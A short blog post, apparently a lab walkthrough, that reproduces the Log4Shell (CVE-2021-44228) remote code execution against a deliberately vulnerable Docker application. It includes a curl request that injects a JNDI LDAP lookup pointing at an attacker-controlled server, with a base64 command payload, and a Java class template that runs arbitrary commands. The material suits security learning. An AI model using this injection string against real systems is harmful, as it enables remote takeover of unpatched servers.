Home Malware Analysis About

Log4j RCE (CVE-2021-44228)

Table of Contents

Introduction

CVE-2021-44228 is a Remote Code Injection vulnerability within the Log4j Logging Service. I also believe that the Java version needs to be less than 8u191.

Technically, this is a Java Naming and Directory Interface (JNDI) Injection, has taken over the world. What I wanted to do in this short post is to just have a small proof-of-concept work. If you ended up here looking for fancy-super-opsec exploitation, this isn't the one. If you're here for a bindiff or a deep dive into the bug, this isn't the one.

That said, I will link to a whole bunch of resources within the references.

The overall goal is;

  1. Setup a vulnerable application
  2. Get a basic RCE
  3. Keep track references (this post is a glorified bibliography)

Setting up the vulnerable application

The absolute easiest way to do this is with a Docker image containing a vulnerable application. This is easy enough with christophetd/log4shell-vulnerable-app and leonjza/log4jpwn. I went with the former, I was unable to get log4jpwn to load a remote class successfully.

Docker

For me, I had to install Docker on Windows. This is easy enough: https://docs.docker.com/desktop/windows/install/

Then, clone the repository: https://github.com/christophetd/log4shell-vulnerable-app

  1. Build it:
docker build . -t vulnerable-app
  1. Run:
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

This will look something like this:

The application is now alive.

Exploiting

For exploitation, the easiest method I found was feihong-cs/JNDIExploit which was referenced in the main repository of the vulnerable application. Pulling the release and running sets up both an LDAP and HTTP Server:

This framework has all kinds of payloads, but the base64 one felt the cleanest. Here is the base64 of my payload:

ZWNobyAneW91IGNhbnQgcG9wIGNhbGMuZXhlIGluIGEgbml4IGNvbnRhaW5lcicgPiAvdG1wL2ZpbmFsbHkudHh0Cg==

UPDATE (13/12/2021): JNDIExploit seems to be taken down. Here is a web archive link.

Trigger the exploit on the X-Api-Version header:

curl '10.10.11.185:8080' -H 'X-Api-Version: ${jndi:ldap://10.10.11.205:1389/Basic/Command/Base64/ZWNobyAneW91IGNhbnQgcG9wIGNhbGMuZXhlIGluIGEgbml4IGNvbnRhaW5lcicgPiAvdG1wL2ZpbmFsbHkudHh0Cg==}'

Attacker

From the attack machine, it looks like this:

If there are any issues with the command, JNDIExploit will print it out.

Server-side

Server-side a finally.txt file is created which contains a message that took an hour of my life:

This approach is admittedly very skiddy, but I just wanted to quickly explore it and gather some reference material. If something more custom is required, then xiajun325/apache-log4j-rce-poc/master/src/main/java/Log4jRCE.java may be more suited. Below is a tidied up sample:

public class Log4jRCE {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("your super l33t command").waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Conclusion

And that is a very small/naive proof-of-concept for CVE-2021-44228. Uhm, seems pretty damaging, huh?

References

Test Environments

Overviews

Tips/Tricks

Walkthroughs

Attack Surface

Misc

Identifying the vulnerability

Detection